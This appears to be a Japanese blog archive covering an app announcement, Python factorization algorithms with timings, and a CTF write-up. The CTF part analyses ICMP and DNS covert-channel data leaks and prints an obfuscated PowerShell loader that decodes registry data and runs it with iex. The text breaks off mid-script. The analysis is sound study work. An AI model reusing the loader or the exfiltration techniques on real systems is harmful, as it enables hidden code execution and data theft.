複数プロトコルの疎通確認を行うWindowsアプリケーション「AnyPing」を作った

• GitHub - inaz2/AnyPing

ICMP Pingに加えて、並列でTCPやHTTP/HTTPSの疎通確認を行うWindowsアプリケーション。 各ホップ1回のみ送信を行うICMP Tracerouteも行うことができる。

ちょうどいいものがなかったので、Windows用GUIアプリケーション開発の練習として作った。 開発には、.NET Framework 4.8（C# 7.3）を使用した。 これは、クロスプラットフォーム対応を行わず、また、Windows 7 SP1/Windows 8.1/Windows Server 2016にも対応するためである。

• .NET Core
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• .NET Framework
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• C#
  • 言語のバージョン管理 - C# reference | Microsoft Learn

.NET Coreは、最新LTSバージョンのリリースから1年で一つ前のLTSバージョンのサポートが終了する。 .NETランタイムのクロスプラットフォーム対応によるものと思われるが、短すぎるように感じる。

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「単純な素因数分解アルゴリズムを実装してみる」 ではPollard-Rhoアルゴリズムなど、「Msieveを使って大きな数を素因数分解してみる」 では複数多項式二次ふるい法（MPQS）などの素因数分解アルゴリズムの実装と評価を行った。 ここでは、上記以外の素因数分解アルゴリズムをPythonで実装し、一般的なPCで解くことができるbit数などを調べてみる。

環境

$ uname -a
Linux vm-ubuntu64 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.1 LTS
Release:        22.04
Codename:       jammy

$ grep "processor\|model name" /proc/cpuinfo 
processor   : 0
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
processor   : 1
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
processor   : 2
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz
processor   : 3
model name  : Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz

素数の生成

素数とその積については、「単純な素因数分解アルゴリズムを実装してみる」 と同じ値を用いる。

Strassen法

Strassen法 は、合成数nの素因数分解を O(n^1/4) で決定的に計算することができるアルゴリズムである。因数は n^1/2 以下に一つ以上存在することを利用し、n^1/2 未満の区間を n^1/4 のサイズで分割し、分割された区間の総乗を順に計算する。合成数と区間の総乗の最大公約数（Greatest Common Divisor; GCD）が1以外となれば、それが因数となる。

# strassen_factor.py

import sys
import gmpy2
from math import gcd

def f(k, M, n):
    x = 1
    for i in range(k*M + 1, k*M + M + 1):
        x = (x*i) % n
    return x

# https://programmingpraxis.com/2018/01/27/strassens-factoring-algorithm/
def strassen_factor(n):
    M, is_exact = gmpy2.iroot(n, 4)
    for i in reversed(range(M + 2)):
        a = gcd(f(i, M, n), n)
        if a > 1:
            return a

if __name__ == '__main__':
    n = int(sys.argv[1])
    p = strassen_factor(n)
    if p:
        print('{} = {} * {}'.format(n, p, n//p)) 
    else:
        print('{} is prime'.format(n))

上のコードでは、各区間の総乗の計算は効率化せずに行っている。f(k, M, n) はM個の値が含まれるk番目の区間について、mod nでの総乗を計算する関数である。

次の実行結果の通り、64bitの素因数分解が1分程度で完了している。また、素数を与えることにより最大で20分程度かかることがわかる。

$ time python3 strassen_factor.py 12814570762777948741
12814570762777948741 = 3318288047 * 3861801803

real    1m17.824s
user    1m17.800s
sys     0m0.012s

$ time python3 strassen_factor.py 18366865165381711817
18366865165381711817 is prime

real    20m44.679s
user    20m44.435s
sys     0m0.024s

SQUFOF（Shanks's square forms factorization）アルゴリズム

SQUFOFアルゴリズム は、RSA暗号に対するWiener's Attack でも記載した連分数展開に基づく方法である。適当なkのもとで、漸化式により (k*n)^1/2 の連分数展開を偶数回目に平方数が現れるまで行う。さらに、その根を用いて再度連分数展開を行い、収束したときの値が因数となる。

# squfof.py

import sys
import gmpy2
from math import gcd, prod

# https://en.wikipedia.org/wiki/Shanks%27s_square_forms_factorization
def squfof(n):
    if n % 2 == 0:
        return 2
    if gmpy2.is_square(n):
        raise Exception('n is perfect square')

    L = 2*gmpy2.isqrt(2*gmpy2.isqrt(n))
    B = 3*L
    ks = [1, 3, 5, 7, 11, 3*5, 3*7, 3*11, 5*7, 5*11, 7*11, 3*5*7, 3*5*11, 3*7*11, 5*7*11, 3*5*7*11]
    for k in ks:
        Pinit = gmpy2.isqrt(k*n)
        P0 = Pinit
        Q0 = 1
        Q1 = k*n - P0*P0
        for i in range(2, B):
            b = (Pinit + P0)//Q1
            P1 = b*Q1 - P0
            Q2 = Q0 + b*(P0 - P1)
            if i % 2 == 0 and gmpy2.is_square(Q2):
                break
            P0, Q0, Q1 = P1, Q1, Q2
        else:
            continue

        q = gmpy2.isqrt(Q2)
        b0 = (Pinit - P1)//q
        P0 = b0*q + P1
        Q0 = q
        Q1 = (k*n - P0*P0)//Q0
        while True:
            b = (Pinit + P0)//Q1
            P1 = b*Q1 - P0
            Q2 = Q0 + b*(P0 - P1)
            if P0 == P1:
                break
            P0, Q0, Q1 = P1, Q1, Q2

        d = gcd(n, P1)
        if 1 < d < n:
            return d


if __name__ == '__main__':
    n = int(sys.argv[1])
    p = squfof(n)
    if p:
        print('{} = {} * {}'.format(n, p, n//p)) 
    else:
        print('{} is prime'.format(n))

上のコードでは、n自体が平方数の場合は計算を行わずその旨をエラーとして返す。また、kとして {1, 3, 5, 7, 11} のべき集合を用い、前半の連分数展開において一定の回数のうちに平方数が現れなかった場合は、連分数展開を打ち切り次のkによる計算を行う。

次の実行結果の通り、96bitの素因数分解が30秒程度で完了している。

$ time python3 squfof.py 60766145992321225002169406923
60766145992321225002169406923 = 242950340194949 * 250117558771727

real    0m23.864s
user    0m23.850s
sys     0m0.008s

Brent-Polllard-Rhoアルゴリズム

Brent-Polllard-Rhoアルゴリズム は、「単純な素因数分解アルゴリズムを実装してみる」 でも記載した乱択アルゴリズムを改良したものである。以下はMiller-Rabin素数判定法で素数判定を行うPolllard-RhoアルゴリズムをPython 3で書いたものである。

# pollard_rho.py

import sys
from random import randint
from math import gcd

def miller_rabin(n, k=20):
    s, d = 0, n-1

    while d % 2 == 0:
        s += 1
        d //= 2

    for i in range(k):
        a = randint(2, n-1)
        x = pow(a, d, n)
        if x == 1:
            continue
        for r in range(s):
            if x == n-1:
                break
            x = (x*x) % n
        else:
            return False

    return True

def pollard_rho(n):
    x, y, d = 2, 2, 1

    while d == 1:
        x = (x*x + 1) % n
        y = (y*y + 1) % n
        y = (y*y + 1) % n
        d = gcd(abs(x-y), n)

    if d != n:
        return d

if __name__ == '__main__':
    n = int(sys.argv[1])
    is_prime = miller_rabin(n)
    if is_prime:
        print('{} is prime'.format(n))
    else:
        p = pollard_rho(n)
        print('{} = {} * {}'.format(n, p, n//p))

Brent-Polllard-Rhoアルゴリズムは、Strassen法と同様に、n^1/8 個程度のxとyの差を総乗によりまとめておくことで最大公約数の計算を高速化する。

# brent_pollard_rho.py

import sys
import gmpy2
from random import randint
from math import gcd

def miller_rabin(n, k=20):
    s, d = 0, n-1

    while d % 2 == 0:
        s += 1
        d //= 2

    for i in range(k):
        a = randint(2, n-1)
        x = pow(a, d, n)
        if x == 1:
            continue
        for r in range(s):
            if x == n-1:
                break
            x = (x*x) % n
        else:
            return False

    return True

# https://xn--2-umb.com/09/12/brent-pollard-rho-factorisation/
def brent_pollard_rho(n):
    m, is_exact = gmpy2.iroot(n, 8)
    y, r, q, d = 2, 1, 1, 1
    while d == 1:
        x = y
        for i in range(r):
            y = (y*y + 1) % n
        for k in range(0, r, m):
            ys = y
            for i in range(min(m, r - k)):
                y = (y*y + 1) % n
                q = (q * abs(x - y)) % n
            d = gcd(q, n)
            if d > 1:
                break
        r <<= 1
    if d == n:
        while True:
            ys = (ys*ys + 1) % n
            d = gcd(abs(x - ys), n)
            if d > 1:
                break
    return d

if __name__ == '__main__':
    n = int(sys.argv[1])
    is_prime = miller_rabin(n)
    if is_prime:
        print('{} is prime'.format(n))
    else:
        p = brent_pollard_rho(n)
        print('{} = {} * {}'.format(n, p, n//p))

上のコードでは、総乗がすべての因数を含んでいる場合については再度計算を行っている。

次の実行結果の通り、元のPollard-Rhoアルゴリズムと比較して、128bitの素因数分解が40%程度高速に完了している。

$ time python3 pollard_rho.py 254086645791066783202879995080576801329
254086645791066783202879995080576801329 = 15737972014275192503 * 16144814945699257943

real    142m37.186s
user    142m35.574s
sys     0m0.088s

$ time python3 brent_pollard_rho.py 254086645791066783202879995080576801329
254086645791066783202879995080576801329 = 15737972014275192503 * 16144814945699257943

real    83m28.994s
user    83m27.564s
sys     0m0.020s

関連リンク

• Strassenの素因数分解 – 37zigenのHP
• 素因数分解アルゴリズム(特にSQUFOF)のこと - 再帰の反復blog
• Shanks' SQUFOF Factoring Algorithm
• aniksarakash/RsaCtfTool
• 素因数分解を O(n^1/4) でする - Qiita
• 原始根のアルゴリズム – 37zigenのHP
• 競技プログラミングにおける数学的問題まとめ - はまやんはまやんはまやん

Security Tech Lounge Vol.6 春のCTFセンバツ 供養（Writeup）

Security Tech Lounge Vol.6 春のCTFセンバツに参加。12チーム中1位。

packet (100)

pcapngファイルが与えられる。

$ file packet 
packet: pcap-ng capture file - version 1.0

Wiresharkで開くとICMPパケットが並んでおり、パケット長が3種類の異なるバイト数になっていることがわかる。

ICMPリクエストのパケット長を取り出し、.01 に置き換えてみる。

$ tshark -r packet.pcap -T fields -e frame.len 'icmp.type==8' >packet.txt

$ head packet.txt 
98
98
98
98
98
98
98
98
98
98

$ cat solve.py 
s = ''
with open('packet.txt') as f:
    for line in f:
        if line.startswith('98'):
            s += '.'
        elif line.startswith('99'):
            s += '0'
        elif line.startswith('153'):
            s += '1'
print(s)

$ python3 solve.py 
..........1000110.1001100.1000001.1000111.1011111.1110000.1101001.1101110.1100111.0110010.1100011...............................

2進数で表現されたASCII文字として解釈すると、フラグが得られた。

$ python3
Python 3.6.7 (default, Oct 22 2018, 11:32:17) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ary = '1000110.1001100.1000001.1000111.1011111.1110000.1101001.1101110.1100111.0110010.1100011'.split('.')
>>> ''.join(chr(int(x,2)) for x in ary)
'FLAG_ping2c'

bin (125)

64 bit ELF実行ファイルが与えられる。

$ file ctf 
ctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, stripped

実行すると、localhostのUDP 53（DNS）にsendto(2)でデータを繰り返し送信していることがわかる。

$ chmod +x ctf 

$ strace ./ctf
(snip)
sendto(11, "p\2\1\0\0\1\0\0\0\0\0\1'RFIE4RYNBINAUAAAAAG"..., 78, 0, NULL, 0) = 78
recvfrom(11, 0x42001d7010, 16384, 0, NULL, NULL) = -1 ECONNREFUSED (Connection refused)
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
close(11)                               = 0
futex(0x7fca08000bac, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7fca08000bb0, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7daa88, FUTEX_WAKE_PRIVATE, 1)  = 1
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) = 11
fcntl(11, F_GETFL)                      = 0x2 (flags O_RDWR)
fcntl(11, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
connect(11, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
sendto(11, "\2244\1\0\0\1\0\0\0\0\0\1%IAYAAAAEE7P7MEAAAAA"..., 76, 0, NULL, 0) = 76
recvfrom(11, 0x42001ce010, 16384, 0, NULL, NULL) = -1 ECONNREFUSED (Connection refused)
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
close(11)                               = 0
futex(0x7fca08000ba8, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7fca08000bb0, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x7daa88, FUTEX_WAKE_PRIVATE, 1)  = 1
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) = 11
fcntl(11, F_GETFL)                      = 0x2 (flags O_RDWR)
fcntl(11, F_SETFL, O_RDWR|O_NONBLOCK)   = 0
connect(11, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
sendto(11, "\235b\1\0\0\1\0\0\0\0\0\1'JCAAAAAAS4CILFZQAAA"..., 78, 0, NULL, 0) = 78
recvfrom(11, 0x42001c5010, 16384, 0, NULL, NULL) = -1 ECONNREFUSED (Connection refused)
write(9, "\1\0\0\0\0\0\0\0", 8)         = 8
close(11)                               = 0
(snip)

sendto(2)に絞ってデータを詳しく見ると、*.localhost に対する名前解決を繰り返しているように見える。 そこで、.localhost を除いたドメイン名のみを取り出してみる。

$ strace -e trace=sendto -s1000 ./ctf
Sending data...
sendto(11, {{len=20, type=RTM_GETADDR, flags=NLM_F_REQUEST|NLM_F_DUMP, seq=1554171854, pid=0}, {ifa_family=AF_UNSPEC, ...}}, 20, 0, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 20
sendto(11, "\251\277\1\0\0\1\0\0\0\0\0\1'RFIE4RYNBINAUAAAAAGUSSCEKIAAAAM7AAAACOA\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 78, 0, NULL, 0) = 78
sendto(11, "\5@\1\0\0\1\0\0\0\0\0\1%IAYAAAAEE7P7MEAAAAACHGQSJKQEAQCAIPQEG\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 76, 0, NULL, 0) = 76
sendto(11, "w,\1\0\0\1\0\0\0\0\0\1'JCAAAAAAS4CILFZQAAAPKQAAAD2UAFPLT46BAAA\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 78, 0, NULL, 0) = 78
sendto(11, "\252\352\1\0\0\1\0\0\0\0\0\1%AAGLUIVMHIU3PMZ2HOYLSMUAHO53XFZUW423T\tlocalhost\0\0\20\0\1\0\0)\20\0\0\0\0\0\0\0", 76, 0, NULL, 0) = 76
(snip)

$ strace -e trace=sendto -s1000 ./ctf |& grep -o -P '[\w=]+(?=\\tlocalhost)' | tee ctf.txt
RFIE4RYNBINAUAAAAAGUSSCEKIAAAAM7AAAACOA
IAYAAAAEE7P7MEAAAAACHGQSJKQEAQCAIPQEG
JCAAAAAAS4CILFZQAAAPKQAAAD2UAFPLT46BAAA
AAGLUIVMHIU3PMZ2HOYLSMUAHO53XFZUW423T
(snip)
BDXQAEAFQR7YAAAKYI34AAANMEJ6AAAOWCA7ACA
HLBAPADADVQQHABQB3YIDACYI54ABABMEP6AA
ACWCG7AAADLBCPQAADVQQHYAQB276D5FZLJGUEB
31MPHRQAAAAABEUKTSEVZBGBAQ=

コンテスト中はここまでしかわからず解けなかった。

取り出したデータをよく見ると、英大文字、数字、= のみであることがわかる。 そこで、Base32 としてデコードしてみる。 最後の行のみBase32で使用されない 1 が含まれているため、最後の行を除きパディング文字 = を調整した。 その結果データの先頭にPNGファイルのシグネチャが見えたため、これをPNGファイルとして保存する。

import base64

with open('ctf.txt') as f:
    lines = f.read().splitlines()
    data = ''.join(lines[:-1])

decoded = base64.b32decode(data + '=')
print(decoded)

with open('ctf.png', 'wb') as f:
    f.write(decoded)

$ python3 solve.py 
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01\x9f\x00\x00\x018\x08\x06\x00\x00\x00\x84\xfb\xfe ...(snip)... \x8e\xf0\x01\x00XG\xf8\x00\x00\xac#|\x00\x00\xd6\x11>\x00\x00\xeb\x08\x1f\x00\x80u\xff\x0f\xa5\xca\xd2j\x10'

PNGファイルの末尾が欠けていることになるが、Firefoxブラウザで開くと画像が確認でき、フラグが得られた。

最後の行の 31 は \31 を誤って抜き出してしまった模様。

reg (150)

UTF-16LEのテキストファイルが与えられる。

$ file reg 
reg: Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators

内容を確認すると、Base64文字列が入ったレジストリ値二つとPowerShellスクリプトが入ったレジストリ値一つが書かれている。

$ cat reg 
??Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Mandiant\CTF]
"Anchovy"="QhdMGkZMUkxCRE9HT0xPXEIXTklMEVJD ...(snip)... EkMdRRJDHTdAThtMT05ETE9ORkxPRw=="
"Herring"="bVNbi9s8EH2Of8UQDGuTKvShlI+Y72F3 ...(snip)... NnhBrNvRtg3rc+u32LMyPLcVQ/NeAA=="
"Mackerel"="$raw=Get-ItemProperty('hklm:\\Software\\Mandiant\\CTF')|Select-Object -ExpandProperty Herring;sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($raw),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

Mackerelのコードに従い、HerringのデータをBase64デコードしてDeflate展開すると次のようになる。

$ python3
Python 3.6.7 (default, Oct 22 2018, 11:32:17) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> import zlib
>>> herring = 'bVNbi9s8EH2Of8UQDGuTKvShlI+Y72F3 ...(snip)... NnhBrNvRtg3rc+u32LMyPLcVQ/NeAA=='
>>> zlib.decompress(base64.b64decode(herring), -15)
b'function Invoke-AES {\n\t\tparam($e_str, $method)\n\t\t$enc = new-object -TypeName System.Text.UTF8Encoding\n\t\t$super_long_key = $enc.GetBytes("flog")\n\n\t\tif ($method -eq "decrypt"){\n\t\t\t$e_str = $enc.GetString([System.Convert]::FromBase64String($e_str))\n    }\n\n\t\t$byteString = $enc.GetBytes($e_str)\n\t\t$AESdData = $(for ($i = 0; $i -lt $byteString.length; ) {\n\t\t\tfor ($j = 0; $j -lt $super_long_key.length; $j++) {\n\t\t\t\t$byteString[$i] -bxor $super_long_key[$j]\n\t\t\t\t$i++\n\t\t\t\tif ($i -ge $byteString.Length) {\n\t\t\t\t\t$j = $super_long_key.length\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t\tif ($method -eq "encrypt") {\n\t\t\t$AESdData = [System.Convert]::ToBase64String($AESdData)\n\t\t} else {\n\t\t\t$AESdData = $enc.GetString($AESdData)\n\t\t}\n\n\t\treturn $AESdData\n}\n$RegPath = \'hklm:\\Software\\Mandiant\\CTF\';\n$raw = Get-ItemProperty $RegPath | Select-Object -ExpandProperty Anchovy;\n$raw_obj = Invoke-AES -e_str $raw -method decrypt;\niex $raw_obj;'
>>> print(_.decode('utf-8'))
function Invoke-AES {
        param($e_str, $method)
        $enc = new-object -TypeName System.Text.UTF8Encoding
        $super_long_key = $enc.GetBytes("flog")

        if ($method -eq "decrypt"){
            $e_str = $enc.GetString([System.Convert]::FromBase64String($e_str))
    }

        $byteString = $enc.GetBytes($e_str)
        $AESdData = $(for ($i = 0; $i -lt $byteString.length; ) {
            for ($j = 0; $j -lt $super_long_key.length; $j++) {
                $byteString[$i] -bxor $super_long_key[$j]
                $i++
                if ($i -ge $byteString.Length) {
                    $j = $super_long_key.length
                }
            }
        })

        if ($method -eq "encrypt") {
            $AESdData = [System.Convert]::ToBase64String($AESdData)
        } else {
            $AESdData = $enc.GetString($AESdData)
        }

        return $AESdData
}
$RegPath = 'hklm:\Software\Mandiant\CTF';
$raw = Get-ItemProperty $RegPath | Select-Object -ExpandProperty Anchovy;
$raw_obj = Invoke-AES -e_str $raw -method decrypt;
iex $raw_obj;

PowerShellを使い、Anchovyのデータから作られる $raw_obj の内容を調べてみる。

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\user> function Invoke-AES {
>>         param($e_str, $method)
>>         $enc = new-object -TypeName System.Text.UTF8Encoding
>>         $super_long_key = $enc.GetBytes("flog")
>>
>>         if ($method -eq "decrypt"){
>>             $e_str = $enc.GetString([System.Convert]::FromBase64String($e_str))
>>     }
>>
>>         $byteString = $enc.GetBytes($e_str)
>>         $AESdData = $(for ($i = 0; $i -lt $byteString.length; ) {
>>             for ($j = 0; $j -lt $super_long_key.length; $j++) {
>>                 $byteString[$i] -bxor $super_long_key[$j]
>>                 $i++
>>                 if ($i -ge $byteString.Length) {
>>                     $j = $super_long_key.length
>>                 }
>>             }
>>         })
>>
>>         if ($method -eq "encrypt") {
>>             $AESdData = [System.Convert]::ToBase64String($AESdData)
>>         } else {
>>             $AESdData = $enc.GetString($AESdData)
>>         }
>>
>>         return $AESdData
>> }
>>
PS C:\Users\user> $raw = "QhdMGkZMUkxCRE9HT0xPXEIXTklMEVJD ...(snip)... EkMdRRJDHTdAThtMT05ETE9ORkxPRw=="
PS C:\Users\user> $raw_obj = Invoke-AES -e_str $raw -method decrypt;
PS C:\Users\user> $raw_obj
${#}  =+$(  )  ;${!.*}=${#};${[/)}=  ++  ${#}  ;${).+}=  ++${#}  ;  ${=-$}  =++${#};${)}=++${#}  ;  ${+}=  ++  ${#}  ; ${``}=  ++  ${#};  ${/}  =++${#};${/[(}=  ++  ${#};${+-.}  =  ++${#}  ;  ${;%$}  =  "["  +"$(@{}  )"[  ${/}]+"$(@{})"[  "${[/)}"+"${+-.}"]  +  "$(  @{  }  )"[  "${).+}"  +"${!.*}"]  +"$?  "[  ${[/)}  ]  +  "]"  ;${#}="".("$(  @{}  )  "[ "${[/)}"  +"${)}"]+"$(  @{}  )  "["${[/)}"  +  "${``}"  ]+  "$(@{  }  )  "[${!.*}]+"$(  @{})  "[  ${)}  ]  +  "$?"[${[/)}  ]+  "$(@{  }  )"[  ${=-$}]  );  ${#}  ="$(@{  }  )"["${[/)}"  +"${)}"  ]  +"$(@{  })"[  ${)}]  +"${#}"["${).+}"+"${/}"  ]  ;.  ${#}  (  "  ${#}(${;%$}${``}${+}+  ${;%$}${[/)}${!.*}${!.*}  +  ${;%$}${[/)}${!.*}${!.*}+${;%$}${)}${+}  +${;%$}${/[(}${)}+  ${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${=-$}${).+}+  ${;%$}${)}${+}  +${;%$}${``}${+}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${!.*}${+-.}+${;%$}${+-.}${/[(}+  ${;%$}${[/)}${!.*}${/[(}  +  ${;%$}${[/)}${).+}${[/)}+${;%$}${/}${/[(}  + ${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}  +  ${;%$}${[/)}${).+}${[/)}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+${;%$}${)}${``}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${+-.}  +  ${;%$}${[/)}${!.*}${)}+  ${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+  ${;%$}${=-$}${``}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}+${;%$}${=-$}${).+}  +  ${;%$}${``}${[/)}  +  ${;%$}${=-$}${).+}+${;%$}${/}${/[(}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${+-.}+  ${;%$}${)}${+}+  ${;%$}${/}${+-.}  +  ${;%$}${+-.}${/[(}  +${;%$}${[/)}${!.*}${``}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${[/)}${``}+  ${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${)}${``}+${;%$}${/[(}${=-$}  +${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}+  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}+${;%$}${[/)}${!.*}${)}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}  +${;%$}${[/)}${).+}${[/)}+  ${;%$}${[/)}${[/)}${!.*}  +  ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${+}  +${;%$}${[/)}${!.*}${+}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${)}${``}  +${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${!.*}${)}  +${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}+  ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${+}+${;%$}${[/)}${).+}${).+}+${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${)}  +${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+${;%$}${=-$}${``}  +${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${/}  +  ${;%$}${)}${!.*}+${;%$}${=-$}${)}+  ${;%$}${/}${``}+  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}+  ${;%$}${[/)}${[/)}${!.*}  +  ${;%$}${=-$}${=-$}+  ${;%$}${=-$}${).+}+${;%$}${/}${``}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${``}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}  +${;%$}${=-$}${=-$}+${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}+  ${;%$}${/}${``}  +${;%$}${``}${+}+  ${;%$}${/}${[/)}+  ${;%$}${=-$}${).+}  +  ${;%$}${[/)}${!.*}${+}+  ${;%$}${[/)}${[/)}${+}+  ${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}  +${;%$}${/}${``}+  ${;%$}${``}${+}  +${;%$}${/}${[/)}+  ${;%$}${+-.}${+}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${[/)}${!.*}+${;%$}${[/)}${!.*}${=-$}+  ${;%$}${[/)}${!.*}${/[(}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${[/)}${)}+${;%$}${[/)}${!.*}${).+}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${!.*}${)}  +${;%$}${=-$}${)}  +${;%$}${=-$}${).+}  +  ${;%$}${)}${[/)}  )"  )

. ${#} がスクリプトを実行する iex であると仮定し、これを取り除いたコードを実行してみる。

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\user> ${#}  =+$(  )  ;${!.*}=${#};${[/)}=  ++  ${#}  ;${).+}=  ++${#}  ;  ${=-$}  =++${#};${)}=++${#}  ;  ${+}=  ++  ${#}  ; ${``}=  ++  ${#};  ${/}  =++${#};${/[(}=  ++  ${#};${+-.}  =  ++${#}  ;  ${;%$}  =  "["  +"$(@{}  )"[${/}]+"$(@{})"[  "${[/)}"+"${+-.}"]  +  "$(  @{  }  )"[  "${).+}"  +"${!.*}"]  +"$?  "[  ${[/)}  ]  +  "]"  ;${#}="".("$(  @{}  )  "[ "${[/)}"  +"${)}"]+"$(  @{}  )  "["${[/)}"  +  "${``}"  ]+  "$(@{  }  )  "[${!.*}]+"$(  @{})  "[  ${)}  ] +  "$?"[${[/)}  ]+  "$(@{  }  )"[  ${=-$}]  );  ${#}  ="$(@{  }  )"["${[/)}"  +"${)}"  ]  +"$(@{  })"[  ${)}]  +"${#}"["${).+}"+"${/}"  ]  ;  (  "  ${#}(${;%$}${``}${+}+  ${;%$}${[/)}${!.*}${!.*}  +  ${;%$}${[/)}${!.*}${!.*}+${;%$}${)}${+}  +${;%$}${/[(}${)}+  ${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${=-$}${).+}+  ${;%$}${)}${+}  +${;%$}${``}${+}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${!.*}${+-.}+${;%$}${+-.}${/[(}+  ${;%$}${[/)}${!.*}${/[(}  +  ${;%$}${[/)}${).+}${[/)}+${;%$}${/}${/[(}  +${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}  +  ${;%$}${[/)}${).+}${[/)}  